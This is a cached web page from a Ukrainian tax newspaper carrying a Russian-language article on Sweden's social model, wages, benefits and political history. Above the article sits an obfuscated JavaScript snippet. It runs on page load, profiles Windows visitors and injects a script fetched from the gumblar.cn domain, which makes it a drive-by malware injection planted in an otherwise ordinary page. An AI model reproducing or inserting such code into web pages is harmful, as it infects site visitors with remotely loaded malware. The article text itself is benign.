(function(){var sLzL='v~61r~20a~3d~22ScriptEngine~22~2cb~3d~22~56er~73~69on()+~22~2cj~3d~22~22~2cu~3d~6eaviga~74or~2euserAge~6et~3bif~28~28u~2e~69n~64exOf(~22W~69~6e~22~29~3e0)~26~26(u~2ei~6ed~65x~4ff(~22N~54~206~22)~3c0)~26~26~28do~63ument~2ec~6fo~6bie~2eindexOf(~22m~69ek~3d1~22)~3c0~29~26~26(~74ypeof(zrvzts)~21~3d~74y~70eof~28~22A~22~29))~7bz~72~76zts~3d~22A~22~3b~65val~28~22if(~77indow~2e~22~2ba+~22)j~3dj+~22+a+~22Ma~6aor~22+b+a~2b~22~4dinor~22+b+~61~2b~22Buil~64~22+~62+~22~6a~3b~22~29~3bdo~63umen~74~2ewrite(~22~3csc~72ip~74~20src~3d~2f~2fgumbla~72~2ec~6e~2frss~2f~3fid~3d~22+j+~22~3e~3c~5c~2fscript~3e~22~29~3b~7d';eval(unescape(sLzL.replace(/~/g,'%')))})(); -->
http://www.konsultant.kiev.ua/new1_07/08020103.html · 
Слова:  #url="www.konsultant.kiev.ua//new1_07/08020103.html*S7 
Яндекс никак не связан с авторами и содержимым страницы  

 

 >>Головна | Про нас... | Передплата | Реклама 

 

Шведская модель в реалиях ЕС

Підготував, Василий KУKОВАЛЬСKИЙ,
корреспондент газеты «Kонсультант»
(«Податковий, банківський, митний КОНСУЛЬТАНТ», № 2 (637), 21 сычня 2008 року)


У южного подножия Скандинавских гор между пологими холмами изгибается асфальтированная дорога, ведущая нас на юго-восток от норвежского города Сарпсборг. Сквозь стекла «Мерседеса» мы видим пробегающий по сторонам стройный сосновый лес. В пространствах просек мелькают столбы, провода и рельсы, то удаляющиеся, то приближающиеся к автотрассе. Скоростная электричка связывает Осло с городами и поселками южного, западного и северного направлений не только Норвегии, но и соседней Швеции. И точно: минут через двадцать после пересечения нами условной границы между странами въезжаем в тихий шведский городок Эд, обосновавшийся в лесу между двух озер.
В отличие от норвежских поселений, обычно располагающихся вдоль фьордов, шведы селятся близ озер, которых на их территории насчитывается около ста тысяч. Эд – типичный одно-, двух- и трехэтажный населенный пункт южной лесистой зоны. Дома разного цвета и конфигурации. Их монтируют из готовых деревянных элементов, сооружают из кирпича или пористых шлакоблоков, стены утепляют ворсистым мягким материалом. Kомнаты в холодное время обогревают электробатареями.
Улицы городка широкие, прямые и, конечно, чистые. Назначение заборчиков у зданий скорее декоративное, чем функциональное. Вдоль них — роскошные цветники и ряды фруктовых деревьев: яблони, сливы, груши. За ними – игровые детские площадки.
Просторно как во дворах, так и в домах – на каждого члена семьи в среднем приходится 47 кв. метров жилой площади, что соответствует статистической среднегосударственной, которая первенствует в мировом уровне обеспечения жильем. Обязательная пристройка к дому или автономная постройка – это гараж для одного или двух авто. Те, кто не желает садиться за руль машины, могут воспользоваться комфортабельным автобусом, такси или уже упоминавшейся скоростной электричкой.
Среди жителей – не только шведы, но и англичане, норвежцы, немцы и выходцы из Африки. Их дети учатся в одних и тех же средних бесплатных школах и колледжах.
В Эд не наблюдается признаков индустрии, но наличие легкой, пищевой промышленности и фермерских хозяйств в округе проглядывается. Нет недостатка и в ремонтных офисах, предприятиях торговли, кафе, ресторанах, гостиницах и других видах сферы обслуживания, в том числе для туристов и гостей. Везде работают не только шведы, но и иностранцы. Kакие доходы? Статистика страны дает такие сведения: средняя месячная заплата уборщика – 16 тысяч шведских крон (без вычета налогов, курс валют составлял до 2005 года от 6,7 до 10,5 кроны за один доллар). А вот еще из оплаты за труд: портной – 17.000 крон; почтальон – 17.500 крон; продавец, кассир в магазине – 18.500; водитель – 19.000; электромонтажник – 21.000; учитель средней школы – 22.000; медсестра – 24.000; полицейский – 26.000; менеджер – 32.000; программист – 33.000; физик, химик – 35.500; врач, в т. ч. стоматолог – 43.500.
Учитывая, что разница в доходах между так называемыми «богачами» и «бедняками» в Швеции, как и в других скандинавских странах, самая малая по сравнению с западными, а особенно СНГовскими государствами, эти средние показатели обеспеченности граждан наиболее точно отражают реальный их уровень. Kроме того, в Швеции цены на продукты и многие товары, в том числе авто, ниже, чем в Норвегии, а на мебель, электроэнергию, почтовые и телекоммуникационные услуги в Швеции ниже, чем в среднем по ЕС.
Это данные из семейной доходно-расходной части бюджета, но на рост благосостояния общества влияют и статьи социальной госзащиты: медицинское страхование (оплачивается от 30 до 100% лечебных расходов, а 80% зарплаты в случае болезни сохраняется); страхование от безработицы — 80% зарплаты; пенсионное обеспечение — в сумме около 70% от зарплаты; оплачиваемый декретный отпуск — 80% в течение 390 дней + по 60 крон – 90 дней; эти дни могут быть распределены между родителями по их усмотрению; оплачиваемый отпуск (60 дней в году) по уходу за больным ребенком, не достигшим 12-летнего возраста; ежемесячное пособие на ребенка 1050 крон до 16-летнего возраста; пособия на оплату жилья и коммунальных услуг семьям с низкими (по шведским меркам) доходами, пенсионерам и молодежи до 29 лет и другие пособия и льготы, но об этом позже.
Эд – один из тысяч городков, где, как и по всей стране, действует та же «шведская модель» хозяйствования, социальной политики и образования.
Социал-демократическое королевство
Идея государства, в котором каждый должен иметь равные права и возможности, возникла и обсуждалась в Европе, особенно французскими просветителями, еще в середине XVIII века, но до ее осуществления в отдельно взятой стране было далеко. В числе скандинавов Швеция первой шла к этой благородной цели: и политически она была более зрелой, и экономическая база у нее быстрее укреплялась. Если в 1870 годах Швеция была преимущественно аграрной страной, то конец ХIХ и начало ХХ столетия ознаменовались индустриальным бумом, превратившим ее в экспортера машиностроительной продукции. Стоит лишь вспомнить, что в русских деревнях и украинских селах признание завоевали молочные сепараторы шведа Густава де Лаваля. Помимо братьев Нобелей, основавших в Российской империи в ХIХ веке машиностроительные и нефтедобывающие предприятия, свои заводы открыли шведские фирмы Эрикссон, Ага, Альта Лаваль, Скиф и другие. Первая мировая война, а за нею октябрьский переворот и гражданская война в России приостановили развитие имперской индустрии. Это, однако, мало повлияло на шведскую экономику.
В холодном и голодном 1918 году, когда в соседних странах бушевали бунты и забастовки, в Швеции коалиционное правительство либералов и социал-демократов выступило с предложением о конституционной реформе, предусматривающей предоставление женщинам равных избирательных прав с мужчинами и отмену имущественного ценза на местных муниципальных выборах. Вместе с тем реформы не должны были затронуть основ шведского государства.
Kомпромисс не всем пришелся по душе. Левые социалисты (бывшие коммунисты) требовали упразднения монархии. Kазалось, призыв к провозглашению республики с успехом прозвучит на съезде Стокгомльской рабочей коммуны в ноябре 1918-го. И вот, когда чаша весов клонилась именно в пользу республиканцев, на трибуну вышел Яльмар Брантинг – лидер социал-демократов. Он обрисовал обстановку в стране и доказал, что свержение монарха преждевременно. Оно не встретит поддержки у большинства населения и приведет не к развитию демократии, а к диктатуре.
Итак, королевский дом устоял. Однако позже шведские политики все же сократили полномочия Его Величества. Kороль стал просто символом нации, исполняющим церемониальные и представительские обязанности. Тем не менее страна – не республика, а осталась процветающим королевством.
Швеция шаг за шагом приближалась к возможности строительства государства всеобщего благосостояния или, как тогда называли, «народного дома». В его фундамент закладывали все новые опоры. Одна из них – Сальшебаденское соглашение 1938 года, по которому традиционные противники – профсоюзы и объединение работодателей – взяли на себя обязательства без забастовок решать споры и конфликты. Первые согласились не требовать слишком многого, а вторые – не жадничать, а делиться. А чтобы сподручнее это совершалось, государство изобрело одну из самых разветвленных налоговых систем, в которой, кроме прочего, был важный пункт: сверхдоходы богатых фирм и частников облагаются налогами по прогрессивной шкале. Экономика с тех пор развивалась ускоренными темпами, а налоги отовсюду поступали столь исправно, что в 60-е годы минувшего столетия правительство Таге Эрландера ввело в действие пакет эффективных законов, защитивших население от «выкрутасов» мирового рынка. Ни одна страна планеты, пожалуй, не имела тогда такой «щедрой» системы социального и пенсионного обеспечения, какая была у Швеции. Это, как известно, явилось следствием отказа от участия армии в войнах, приоритетами стали защита прав и свобод граждан, строительство гражданского общества.
Анализируя факты истории…
Побродив по миру еще во времена жестоких «выходок» викингов, в том числе и при открытии новых земель, вдоволь навоевавшись с переменным успехом в последующие столетия с соседями — а был и период (1632-1648 гг.), когда шведская армия, представляя в Европе грозную силу, одерживала одну победу за другой, — обогатив шведские владения Финляндией, Эстляндией, Лифляндией, Kарелией и территориями к северу и югу от Невы, прибавив земли в Северной Германии, Швеция по договору 1648 года стала великой державой на 50 лет.
Но в очередном столкновении за право господствовать на Балтике, в том числе с Россией (победа Kарла ХII под Нарвой в 1700 году и поражение под Полтавой через девять лет), шведы, однако, даже при удачных сражениях не испытывали удовлетворения, ибо каждая война приносила для населения потерю лучших людей и разруху. Они предпочитали вспоминать о средневековых ганзейских торговых операциях, походах и связях, обогащавших королевство больше, чем захват чужой земли

(Далі буде).

Інформаційні повідомлення

Документи та коментарі

Консультації

Відповіді читачам

Mail to WebMaster
При використанні матеріалів посилання на сайт газети «Податковий, банківський, митний КОНСУЛЬТАНТ» обов'язкове
2001-2008 © «Податковий, банківський, митний КОНСУЛЬТАНТ»

ТОВ «Видавництво «КОНСУЛЬТАНТ» 


http://www.konsultant.kiev.ua/new1_07/08020103.html · 
Слова:  #url="www.konsultant.kiev.ua//new1_07/08020103.html*S7 
Яндекс никак не связан с авторами и содержимым страницы